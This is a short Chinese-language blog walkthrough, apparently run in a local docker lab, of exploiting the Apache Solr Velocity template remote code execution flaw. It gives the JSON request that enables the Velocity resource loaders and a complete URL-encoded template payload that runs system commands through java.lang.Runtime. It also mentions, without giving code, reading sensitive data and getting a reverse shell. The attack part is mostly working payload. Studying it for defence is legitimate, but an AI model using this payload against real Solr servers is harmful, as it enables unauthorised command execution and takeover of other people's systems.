zoukankan      html  css  js  c++  java
  • Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

    这里用的docker环境 很简单的 在这里不再介绍

    本地搭建好环境然后访问8983端口 网页如下:

    查下节点名称

    同样名字可以访问http://192.168.35.185:8983/solr/admin/cores获取到名字

    看下config的 红圈的这里两个点必须为true

    通过发包来构造出来

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }

    随后开始命令执行

    http://192.168.35.185:8983/solr/test/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

     读取敏感信息

    反弹shell拿管控权限

     

     更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

  • 相关阅读:
    一种想法
    识别link_text
    识别name
    识别id
    文件的读写
    条件和循环
    网站测试-功能测试小结
    拷贝
    #团队博客作业1-小组成员介绍
    软件测试基础-Homework1
  • 原文地址:https://www.cnblogs.com/Yang34/p/11790967.html
Copyright © 2011-2022 走看看